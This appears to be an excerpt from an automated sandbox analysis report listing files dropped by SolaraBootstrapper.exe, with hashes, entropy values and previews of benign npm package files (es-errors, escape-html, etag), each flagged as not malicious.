SHA-512:	8ACD3B84F3AFA8C6FF9C1A58AB774EA33AEC7701C022BA8F4D36218A8D1C03E80EF2EE1D692DBD43DBF5883153137C5E000F113B98DA23D870DFAB6F71B78AFA
Malicious:	false
Preview:	MIT License..Copyright (c) 2024 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2114
Entropy (8bit):	5.040337627766631
Encrypted:	false
SSDEEP:	48:51eI4I7qSTaACc/WEGH3vu+cmIEIL0I7Idv:TXFeSGvc/SXgLxMt
MD5:	539D6F055ADF72086ED5AC03531E0433
SHA1:	778FC234148953463040855B1111ED9CC295D030
SHA-256:	176EC91DB928C929508ABF9917EBC35DD66E5EA1A989AC3E7AB290496D32C0D6
SHA-512:	C3A68D2C584930FF19CCA0E85DE9BCEAA7CE1F9F99159663C94203137EFF8E85DB1FB5E6F38B037B02C7A4C3FAD9D9FAB3570977B986A03F0AEEC3D47B3F84F5
Malicious:	false
Preview:	# es-errors <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..A simple cache for a few of the JS Error constructors...## Example..```js.const assert = require('assert');..const Base = require('es-errors');.const Eval = require('es-errors/eval');.const Range = require('es-errors/range');.const Ref = require('es-errors/ref');.const Syntax = require('es-errors/syntax');.const Type = require('es-errors/type');.const URI = require('es-errors/uri');..assert.equal(Base, Error);.assert.equal(Eval, EvalError);.assert.equal(Range, RangeError);.assert.equal(Ref, ReferenceError);.assert.equal(Syntax, SyntaxError);.assert.equal(Type, TypeError);.assert.equal(URI, URIError);.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..## Security..Please emai

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\eval.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	68
Entropy (8bit):	3.971342748931882
Encrypted:	false
SSDEEP:	3:n+FVLfFF4MewaBiLevn:6FfFF44giLw
MD5:	52771F1E8BFADED24362A7069F8ED74D
SHA1:	DC1291CD0BB8D036793E5E2A65264348740C55FE
SHA-256:	82E8FDE67D906608C18EDE0EE67F0EC2221E13FB7DE1576F9FC59E91158DE2E6
SHA-512:	CA1D75019390C53A5BEB8D183FFD115D626E89B11AC3DBAE012A21F66477DAB2D9BD477D73ABC91924774D0C81B618E175191FBF6CAE297D5404C2F9A65A4B81
Malicious:	false
Preview:	declare const EvalError: EvalErrorConstructor;..export = EvalError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\eval.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.6553084442512835
Encrypted:	false
SSDEEP:	3:agW8PPf6VCk783zBbpBevn:QQCVn0zB9Bw
MD5:	1E89F5B29003F4EDB43DF2DD17D42317
SHA1:	3DEDECC34D8C8EC860E4C49E51051F60F4D87F82
SHA-256:	D3161A97F162B483206E9849E41BB17FD54166810C76EBAA1DF068133E54CAAE
SHA-512:	6EDAE4A2C632C3449EA3E3DF655E7666EEFEFA768B6CE1B8C6167618BDC87DC06DFF2F354FF138FEA0A96FE88C01BAD4E6FCCC41B3D2C22998029AD70EA55609
Malicious:	false
Preview:	'use strict';../** @type {import('./eval')} */.module.exports = EvalError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	56
Entropy (8bit):	3.800455077891031
Encrypted:	false
SSDEEP:	3:n+FR8MewaBi9An:6R84gi9A
MD5:	03F65FDBC4C19F3049A2F0602CD8F7B0
SHA1:	B0453E246BB2655859407A005C03A1AE1CBF0555
SHA-256:	032AF142C4E06FCD215E4519D4D1C9C60DBAA63D033CB116ABB5B5A4F6336FBF
SHA-512:	98B84DCC4490AF51A7D80954E8989F6F7C6FF55AB31135FCBA21B07B14DC3B0ACB712151DE89D3F1D1E3C211605EFE2A017E71C73A996BA0B376DDBDDA5BF420
Malicious:	false
Preview:	declare const Error: ErrorConstructor;..export = Error;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.515699377092075
Encrypted:	false
SSDEEP:	3:agW8PPf6VCd1Kv3zBbmKAn:QQCVWKfzBpA
MD5:	F8EBBF637A1AB43A7188D855FDC7787B
SHA1:	46D0FBBFFB2D11BBEF33B5C23FF2014F0F1B7ABE
SHA-256:	28FEE350E89561019CF27EA37A313B4B4995F521FD087198FA235A8F135962DE
SHA-512:	B44F3CD6CAD2E4D3A476BA898BF7D87525D42F013449A935A3DE92BEF973B925805A3FAA9C8C3832CD8BCF121AA9ECB5EFC552E165A5FF3C09D14FD5150C893A
Malicious:	false
Preview:	'use strict';../** @type {import('.')} */.module.exports = Error;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.126600934742982
Encrypted:	false
SSDEEP:	48:QmIiT5RYCC6aKCYZU547agKX0fTRYsEg4jbsdKSowCL:JkCC6aKCY9xA3jbzZ
MD5:	7E6B784827A0AFF2A05C343F8A53E88D
SHA1:	D13BCB37AB6AB7F0911CE728148CB1C8485A81D1
SHA-256:	1A0A0BCCCC76B915CB64073317312840CF6363E9144B96F406D0059774DD5278
SHA-512:	BA218CA690CA74F2E4FECA55F95AE3F1F792B4A067C3133B035265DE2E39CA39A8FDFC7FC18A898FF8CA0A5E2A791121D10708ED564496502DA824A6167292C7
Malicious:	false
Preview:	{.."name": "es-errors",.."version": "1.3.0",.."description": "A simple cache for a few of the JS Error constructors.",.."main": "index.js",.."exports": {...".": "./index.js",..."./eval": "./eval.js",..."./range": "./range.js",..."./ref": "./ref.js",..."./syntax": "./syntax.js",..."./type": "./type.js",..."./uri": "./uri.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."pretest": "npm run lint",..."test": "npm run tests-only",..."tests-only": "nyc tape 'test/*/.js'",..."posttest": "aud --production",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p . && eclint check $(git ls-files \| xargs find 2> /dev/null \| grep -vE 'node_modules\|\\.git' \| grep -v dist/)",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog &&

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\range.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	71
Entropy (8bit):	4.03339931310672
Encrypted:	false
SSDEEP:	3:n+FX60gHDMewaBiDFnn:6qT4gix
MD5:	28AE6AACD62D72D38B235712EF2151A6
SHA1:	79024865F4B0A771E30350C3910C034C966C076E
SHA-256:	7AB8A9B5B7D60CD76C021039F87509F5A13BA0292A3984FB1381B4BA4D79C26C
SHA-512:	51B4CF1751A6FE262BC312E89556CA88566661B54A1339E1A63473F9A8F980DDC6735835BE16117FD0E4C985DDDFA80E6805497D825AD21E74F8DAC52A8224D0
Malicious:	false
Preview:	declare const RangeError: RangeErrorConstructor;..export = RangeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\range.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	77
Entropy (8bit):	4.691458943991684
Encrypted:	false
SSDEEP:	3:agW8PPf6VCI2ACMx3zBbMCFnn:QQCVJ2IzB4Y
MD5:	BC149F1F9A727B3CE635241092C84A55
SHA1:	23E843A0476AB2BBE089589022CFA2EA627872DD
SHA-256:	E376220F3A0226BD5B09B6D5A1411BBAC274DB8D2D9F7EB723142B7E676374BE
SHA-512:	8218173C907EF499563AF1B33CCA5D8544E9EE602B632AAE42153DDD24ECD2334E87D3D5AA9D81CF97F11DE2CDE37E61229D062EF9A28E3E7D0FBEA0E1F16D7E
Malicious:	false
Preview:	'use strict';../** @type {import('./range')} */.module.exports = RangeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\ref.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	83
Entropy (8bit):	3.8207810054386675
Encrypted:	false
SSDEEP:	3:n+FXAyASaXtwcXAyASaXmDMewaBidAyASaXwn:6Qyta9nQytaI4giCytaA
MD5:	4E3274AD0F043B9C2B0B2C72AEBD34C8
SHA1:	3C0481C511E71DB6ECC554F10242CAFB0C3D478A
SHA-256:	C736BB4552777F1DBA23AA0152B8E41C20A09BBC02FCA1DDE4EA4D1180FEFB04
SHA-512:	6F8E03F0F3362DF13B042EDD8595096A1BBA4A6F7512ECF9715CCBAF80122905F493F2BA708F2022E5EED9FBFA9CE01566AB91995C6A88E5F035AD8DF852C81A
Malicious:	false
Preview:	declare const ReferenceError: ReferenceErrorConstructor;..export = ReferenceError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\ref.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.573802387412566
Encrypted:	false
SSDEEP:	3:agW8PPf6VCMe7P03zBbwyAyASaXwn:QQCVNe7PMzBETytaA
MD5:	219B6E072AEBEB07620CC1FDDDF70185
SHA1:	B86EA9E706E4C9DF6639D12E5F728ACB9B18EF72
SHA-256:	31945F1740A0A2143FB8C38943AFC6CCE5DE5BA6FAB7AF42D17B7874A19A0900
SHA-512:	9FB0646015B5421B7103AB86D16F97C042D94C2D566D189E8743B90EA9CA91D423A6A0B2CEE42BB603DC6E991BA8FC04ACF81B49650113B4260E641E3C354731
Malicious:	false
Preview:	'use strict';../** @type {import('./ref')} */.module.exports = ReferenceError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\syntax.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	74
Entropy (8bit):	4.058679160135773
Encrypted:	false
SSDEEP:	3:n+F7LfMfFPfM4MewaBidLR5Mevn:68fFP044gidL0w
MD5:	BE140BFA1F1D45FCF55EAC78A2555F80
SHA1:	17B6EE5677EECE7445F509BB9A405025029C4396
SHA-256:	7A47E9178209435C05B910D1AAC6FC939721C2CF45A878759C9A855B0B67551F
SHA-512:	B8AE4A5F323EFD8F0A8D5213F855D8E4BE2774386ED45E4428E8E45D82371B769BA94F50D620E5736742FCCDBABE768CDC3C15A0C68E835B858A273DDAE67459
Malicious:	false
Preview:	declare const SyntaxError: SyntaxErrorConstructor;..export = SyntaxError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\syntax.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.677888697874895
Encrypted:	false
SSDEEP:	3:agW8PPf6VCTRE73zBbdl5Mevn:QQCVIRELzBaw
MD5:	0AFBD3A8277DF33593B212951D15E83D
SHA1:	35BC36A396E20F15E42C817205CA259820A7998C
SHA-256:	56574ECD3EB54C06EFD319080CC8923992791E430C914520B85E92C2F5E373F5
SHA-512:	68AC55A4F1204EB9A57024AED80FB02537CF36F7FAF601084EA98D026063FE0127E2D331A10F75E2F6EDE6CD8FA250888DCAA2C19A642499CC095EAAF5B77869
Malicious:	false
Preview:	'use strict';../** @type {import('./syntax')} */.module.exports = SyntaxError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	4.671574563068067
Encrypted:	false
SSDEEP:	6:QcALIzhHIq1z7jEV1J7Ro0Jxj+AJ2RY+AJyTyta3+AJ8H+AJ4WuTS:jSIzhoq1zEFxjJVJevJ8fJAW
MD5:	DCEEEC0A60F808B4E644B3897BED5181
SHA1:	50C0BDA7B8469012BF6D9F951F9AEF57912EEE06
SHA-256:	14E2B88A10618AC3947289F93011DCFC5A2C27FCB585F453F99DE8EE739185F8
SHA-512:	4A89C6AE3840DE13989885CEB225547E1B849FDB87499728BD16E990879D180FE4B8D6125B5C621534509B03188E31460B4871C51AD5A762154139D212248248
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var E = require('../');.var R = require('../range');.var Ref = require('../ref');.var S = require('../syntax');.var T = require('../type');..test('errors', function (t) {..t.equal(E, Error);..t.equal(R, RangeError);..t.equal(Ref, ReferenceError);..t.equal(S, SyntaxError);..t.equal(T, TypeError);...t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\tsconfig.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3170
Entropy (8bit):	4.728899059215554
Encrypted:	false
SSDEEP:	48:cj12nTY8LdkWoltx4I8OjMGqoqZjuJGJkeGzJfYMT2s+TmC:I1WWtx4ITjDqoql+Ok3AMqs+TmC
MD5:	A028DEACF8E8CAD14B8936A47BC68F0D
SHA1:	26B9D25453F283307EFB19D0E005CF704E3368A6
SHA-256:	539CACFFE5895FCF9A9EB59E3A6A9FADBB41BA3E05339D97E3B55DA34D2C85A4
SHA-512:	D239A3DA47AA3F920BF5B1B0A77A606148527CB8F97DB66C07E5BBE48DB67209DA6F702AFEDEBA77DC2774E852EADF9D00BB873CA46ABD5734A95E81DD973B81
Malicious:	false
Preview:	{.."compilerOptions": {.../* Visit https://aka.ms/tsconfig.json to read more about this file /..../ Projects /..../ Language and Environment /..."target": "es5",................./ Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /...// "lib": [],..................../ Specify a set of bundled library declaration files that describe the target runtime environment. /...// "noLib": true,................../ Disable including any library files, including the default lib.d.ts. /..."useDefineForClassFields": true,.......... / Emit ECMAScript-standard-compliant class fields. /...// "moduleDetection": "auto",............/ Control what method is used to detect module-format JS files. /..../ Modules /..."module": "commonjs",................/ Specify what module code is generated. /...// "rootDir": "./",................./ Specify the root folder within your source files. /...// "moduleResolution": "node",........... / Spec

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\type.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	67
Entropy (8bit):	3.9966704773261528
Encrypted:	false
SSDEEP:	3:n+Fa26DMvJioqUn:6a2UuJiu
MD5:	D352323A3FCAF24866E20A8D3190B72B
SHA1:	3DC9C2535799EF547F5745F62D71BC9B49E678E1
SHA-256:	BF83D189C911C5D6F970C3C6A0DDF5637EFE3DEAFAAD89C31EF4418A2F90487A
SHA-512:	DE779EFF08FCDB3353CFCCB3B9DDF81B905D66BD49B5B1816B31CACEE59811A1786143496AD5690312C79D089FB681691CF53B19F68CC70F5E35B27EA829F981
Malicious:	false
Preview:	declare const TypeError: TypeErrorConstructor..export = TypeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\type.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.539908150490569
Encrypted:	false
SSDEEP:	3:agW8PPf6VCTPYK3zBboVAUn:QQCVu9zBcVt
MD5:	9F2F1F6BB3DC762BC12E377E00E9F775
SHA1:	67ECCB172529A5D24D804C8316DE4A889BFDD985
SHA-256:	C71B2F41C15EDB3824F50DD24DF900495C8CAABA5B6E9A80851B82BB2309827B
SHA-512:	6F5B1C38E3CF8913FB755C184F44323457A541A99DA23EE416939AC5A62B4951A626C1DE8F04E6F7A2127B576627E8A3DF255A5432B8535FC37E856DE169BE9A
Malicious:	false
Preview:	'use strict';../** @type {import('./type')} */.module.exports = TypeError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\uri.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.073890062569708
Encrypted:	false
SSDEEP:	3:n+FCB+FEMewaBisJvn:6CB+FE4gie
MD5:	F98771BA2A6F4897F01BC0C07A4C4ECD
SHA1:	B3A1400203D7B8FB2B67BCDB07D34C81EA6025C3
SHA-256:	CCBB8676063C7D4446B57E51B13D2F3D24A48AD419F9495B5BB21BD86F8C9374
SHA-512:	C3B273A0A96FC8AFE0CAA196EB064DB3254DCBFA45FD6BE2B90E9E2C645EBAB9C3E9ACD65C540DA7D13868DD70EAED9A20937F7B411151E7676A8CC541888F5C
Malicious:	false
Preview:	declare const URIError: URIErrorConstructor;..export = URIError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\uri.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	73
Entropy (8bit):	4.637766682905392
Encrypted:	false
SSDEEP:	3:agW8PPf6VC8P03zBbssqvn:QQCV8zBAsU
MD5:	73E1A7405C670740980CAD2ABDA5CA15
SHA1:	0319C74BFD36D4E73ADD442A0A0CB9C6DB78E822
SHA-256:	E1E5591BDE037A2FFEDA822FA03FAC22FF7C93C7B269ED9ADF1CBEA0E21614B0
SHA-512:	3E476D6E67E2E1324527F6C537B52C58654C7DB487746E39BE82230C4E0C7E79F3CC180767D338EA3A4DCED9FCC7A25BD7F082D1CF2C19C2AE8440725DA1BA6A
Malicious:	false
Preview:	'use strict';../** @type {import('./uri')} */.module.exports = URIError;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	5.1874286589078835
Encrypted:	false
SSDEEP:	24:ylEiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:TiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	F8746101546EEB9E4F6DE64BB8BDF595
SHA1:	ADF7A452C47FF87C48DEFF37D703F1668F1276CA
SHA-256:	255AA557A1F55224CE522F311629C0BF20854740A67955CEFD798FBD1D3D1DED
SHA-512:	DD1E90B0B9C851F3CCD5FC94F69723C7877F892DCD09C3578CE7106B8CDA4768854A948623ECB9D256153133FE244F4CF61A413BEB0516BEFB888D3CD223D77B
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2013 TJ Holowaychuk.Copyright (c) 2015 Andreas Lubbe.Copyright (c) 2015 Tiancheng "Timothy" Gu..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\Readme.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	707
Entropy (8bit):	5.087211284917226
Encrypted:	false
SSDEEP:	12:IFNTlGt2cCHm3bKAYTBCKva+laAhxK23mvDMW8NqgYq45wLKLd1dDFONnHADn:IFvGt2zHsbKAYTsz+lO2gQNqga9J1a2
MD5:	79C73D9EC4CA382FA642702F356B4046
SHA1:	35923A97D4A2F8B712D85A18AFA3DAA7E1B7A53E
SHA-256:	86530565532EDE3EFB547E89694BD94CD384C6A4A6CE071AFECB3381DFB2EF22
SHA-512:	A099C305B9121023FEC178460D22D19AAD8DDF7FB20A3F08461ACAF346EAA0D4073BC052C38EB8FD9CA01552F09D1B58F3A0A19278F697FE5F505473E2964CCD
Malicious:	false
Preview:	.# escape-html.. Escape string for use in HTML..## Example..```js.var escape = require('escape-html');.var html = escape('foo & bar');.// -> foo & bar.```..## Benchmark..```.$ npm run-script bench..> escape-html@1.0.3 bench nodejs-escape-html.> node benchmark/index.js... http_parser@1.0. node@0.10.33. v8@3.14.5.9. ares@1.9.0-DEV. uv@0.10.29. zlib@1.2.3. modules@11. openssl@1.0.1j.. 1 test completed.. 2 tests completed.. 3 tests completed... no special characters x 19,435,271 ops/sec .0.85% (187 runs sampled). single special character x 6,132,421 ops/sec .0.67% (194 runs sampled). many special characters x 3,175,826 ops/sec .0.65% (193 runs sampled).```..## License.. MIT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	4.749244864705344
Encrypted:	false
SSDEEP:	24:W3+pR+TJ+Yg9H8KJAtB9fKEb6aWWkvpUXMSDYbwfgtXXvuXz3XBjIiXyHikJ7yP+:VpkAL9HWTC+WWkvpUe/
MD5:	0C95E46D0F08BD96B93CFBEA66888AFC
SHA1:	DFBB19C79EB0CA7FF2625FB1975A35CF47BE378A
SHA-256:	42A7F91883D0C5CE9292DDA4E017E1F8664D34B09276D89FB6F3859C29D1CA9B
SHA-512:	FBEB545274E55F0DFACE8407A563878083E8D2EDC16320A31802E7B4C1DBF6D37F20B772C7436CB1810ADB524EF86B3378B6B76A35E0967B6CAE58340C58D4AD
Malicious:	false
Preview:	/!. escape-html. * Copyright(c) 2012-2013 TJ Holowaychuk. * Copyright(c) 2015 Andreas Lubbe. * Copyright(c) 2015 Tiancheng "Timothy" Gu. * MIT Licensed. /..'use strict';../. Module variables.. * @private. /..var matchHtmlRegExp = /["'&<>]/;../. Module exports.. * @public. /..module.exports = escapeHtml;../. Escape special characters in the given string of html.. . @param {string} string The string to escape for inserting into HTML. * @return {string}. * @public. */..function escapeHtml(string) {. var str = '' + string;. var match = matchHtmlRegExp.exec(str);.. if (!match) {. return str;. }.. var escape;. var html = '';. var index = 0;. var lastIndex = 0;.. for (index = match.index; index < str.length; index++) {. switch (str.charCodeAt(index)) {. case 34: // ". escape = '"';. break;. case 38: // &. escape = '&';. break;. case 39: // '. escape = ''';. break;. case 60: // <.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\escape-html\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	434
Entropy (8bit):	4.644067652549469
Encrypted:	false
SSDEEP:	12:i78Fw18e4Id6hOi+rCW675JjJkttDGCIR5+laAkR:i78Fw1IId6hNcCW6XjzT+l8
MD5:	E9C758769FEC9883D5CE3D30B8EE1047
SHA1:	F9D3FD64A0196E77965489CE9B81FE4CE3A9ECB1
SHA-256:	BD320A3E9D23249F5F7D3CE72F2FA426E28A6B2704BD2B281D0C92806A1F5223
SHA-512:	E54BBB849368A53C620B65D0E4A847869DEA8FBB767F3559315D9E031C11F23DF4AC9D746B7883CAF3F693C748E1B9C90F8789519891ED179399341CD49DCAE2
Malicious:	false
Preview:	{. "name": "escape-html",. "description": "Escape string for use in HTML",. "version": "1.0.3",. "license": "MIT",. "keywords": [. "escape",. "html",. "utility". ],. "repository": "component/escape-html",. "devDependencies": {. "benchmark": "1.0.0",. "beautify-benchmark": "0.2.4". },. "files": [. "LICENSE",. "Readme.md",. "index.js". ],. "scripts": {. "bench": "node benchmark/index.js". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	4.85905820338544
Encrypted:	false
SSDEEP:	48:GO8CfPirwW1ml6lv7lpbPCKRtC1fCfBfP:6UPIw4mC9
MD5:	959D386C253288FD5DD2DC4765EFA273
SHA1:	9254BD99614FABA324D793FB9AC0A6DF84E585CF
SHA-256:	A6311C59A3EA30AF617C8526EB2AA086B835260BF05490C81FA8E696E24CE7CD
SHA-512:	9FC3523FF57C99FBD2772819EA2B80A911E4603E94CEDB215E0144C572C798AD4CB77E94D592080020C4F8074D08BF82098E1E84528D7C3719CA3B0EE77ED5D0
Malicious:	false
Preview:	1.8.1 / 2017-09-12.==================.. * perf: replace regular expression with substring..1.8.0 / 2017-02-18.==================.. * Use SHA1 instead of MD5 for ETag hashing. - Improves performance for larger entities. - Works with FIPS 140-2 OpenSSL configuration..1.7.0 / 2015-06-08.==================.. * Always include entity length in ETags for hash length extensions. * Generate non-Stats ETags using MD5 only (no longer CRC32). * Improve stat performance by removing hashing. * Remove base64 padding in ETags to shorten. * Use MD5 instead of MD4 in weak ETags over 1KB..1.6.0 / 2015-05-10.==================.. * Improve support for JXcore. * Remove requirement of `atime` in the stats object. * Support "fake" stats objects in environments without `fs`..1.5.1 / 2014-11-19.==================.. * deps: crc@3.2.1. - Minor fixes..1.5.0 / 2014-10-14.==================.. * Improve string performance. * Slightly improve speed for weak ETags over 1KB..1.4.0 / 2014-09-21.====

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\etag\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:PiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:PiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	6E8686B7B13DD7AC8733645A81842C4A
SHA1:	B058A139CB239C658C8F1F841A475A50818B5F73
SHA-256:	A7996721249A136FBCFC1C201BCB5F414F38A701D4A24F28ABE65E16CFCCE813
SHA-512:	1CACD9111B9EB27A0FD326DD19D61BDF767E443EE1DD09D983AF81199ECDA0D7CF047FBD18B900C7D773972B1278D5D3C19FA753591333C04C27DDAC71AF6422
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

